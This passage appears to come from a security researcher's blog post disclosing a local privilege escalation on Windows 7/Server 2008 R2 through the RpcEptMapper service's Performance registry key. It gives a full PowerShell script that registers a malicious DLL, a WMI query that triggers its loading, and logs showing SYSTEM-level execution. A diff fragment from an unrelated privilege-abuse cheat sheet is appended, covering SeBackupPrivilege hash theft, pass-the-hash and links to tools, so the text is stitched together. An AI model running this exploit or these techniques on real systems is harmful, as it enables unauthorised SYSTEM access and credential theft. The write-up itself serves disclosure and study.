Anyway, if the built-in cmdlets dont do the job, we can always go down one level and invoke DotNet functions directly. Indeed, registry keys can also be created with the following code in PowerShell.
```text
[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
```
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/11_powershell-dotnet-createsubkey.png)
Here we go! In the end, I put together the following script in order to create the appropriate key and values, wait for some user input and finally terminate by cleaning everything up.
```text
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
Write-Host "[*] Create 'Performance' subkey"
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create 'Library' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Open' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Collect' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Close' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
Read-Host -Prompt "Press any key to continue"
Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
```
The last step now, **how do we trick the RPC Endpoint Mapper service into loading our Performace DLL?** Unfortunately, I havent kept track of all the different things I tried. It would have been really interesting in the context of this blog post to highlight how tedious and time consuming research can sometimes be. Anyway, one thing I found along the way is that you can query _Perfomance Counters_ using WMI \(_Windows Management Instrumentation_\), which isnt too surprising after all. More info here: [_WMI Performance Counter Types_](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types).
> _Counter types appear as the CounterType qualifier for properties in_ [_Win32\_PerfRawData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfrawdata) _classes, and as the CookingType qualifier for properties in_ [_Win32\_PerfFormattedData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfformatteddata) _classes._
So, I first enumerated the WMI classes that are related to _Performace Data_ in PowerShell using the following command.
```text
Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
```
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/12_powershell-get-wmiobject.gif)
And, I saw that my log file was created almost right away! Here is the content of the file.
```text
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
```
I expected to get arbitary code execution as `NETWORK SERVICE` in the context of the `RpcEptMapper` service at most but, it looks like I got a much better result than anticipated. I actually got arbitrary code execution in the context of the `WMI` service itself, which runs as `LOCAL SYSTEM`. How amazing is that?! ![:sunglasses:](https://github.githubassets.com/images/icons/emoji/unicode/1f60e.png)
> **Note:** if I had got arbirary code execution as `NETWORK SERVICE`, I would have been just a token away from the `LOCAL SYSTEM` account thanks to the trick that was demonstrated by James Forshaw a few months ago in this blog post: [Sharing a Logon Session a Little Too Much](https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html).
I also tried to get each WMI class separately and I observed the exact same result.
```text
Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData
```
### Conclusion <a id="conclusion"></a>
I dont know how this vulnerability has gone unnoticed for so long. One explanation is that other tools probably looked for full write access in the registry, whereas `AppendData/AddSubdirectory` was actually enough in this case. Regarding the “misconfiguration” itself, I would assume that the registry key was set this way for a specific purpose, although I cant think of a concrete scenario in which users would have any kind of permissions to modify a services configuration.
I decided to write about this vulnerability publicly for two reasons. The first one is that I actually made it public - without initially realizing it - the day I updated my PrivescCheck script with the `GetModfiableRegistryPath` function, which was several months ago. The second one is that the impact is low. It requires local access and affects only old versions of Windows that are no longer supported \(unless you have purchased the Extended Support…\). At this point, if you are still using Windows 7 / Server 2008 R2 without isolating these machines properly in the network first, then preventing an attacker from getting SYSTEM privileges is probably the least of your worries.
Apart from the anecdotal side of this privilege escalation vulnerability, I think that this “Perfomance” registry setting opens up really interesting opportunities for post exploitation, lateral movement and AV/EDR evasion. I already have a few particular scenarios in mind but I havent tested any of them yet. To be continued?…

View file

@ -27,7 +27,7 @@ If you have enabled this token you can use **KERB\_S4U\_LOGON** to get an **impe
This privilege causes the system to **grant all read access** control to any file \(only read\).
Use it to **read the password hashes of local Administrator** accounts from the registry and then use "**psexec**" or "**wmicexec**" with the hash \(PTH\).
This attack won't work if the Local Administrator is disabled, or if it is configured that a Local Admin isn't admin if he is connected remotely.
You can **abuse this privilege** with: [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) or with [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
You can **abuse this privilege** with: [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) or with [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) or following IppSec in [https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab\_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
### SeRestorePrivilege \(3.1.5\)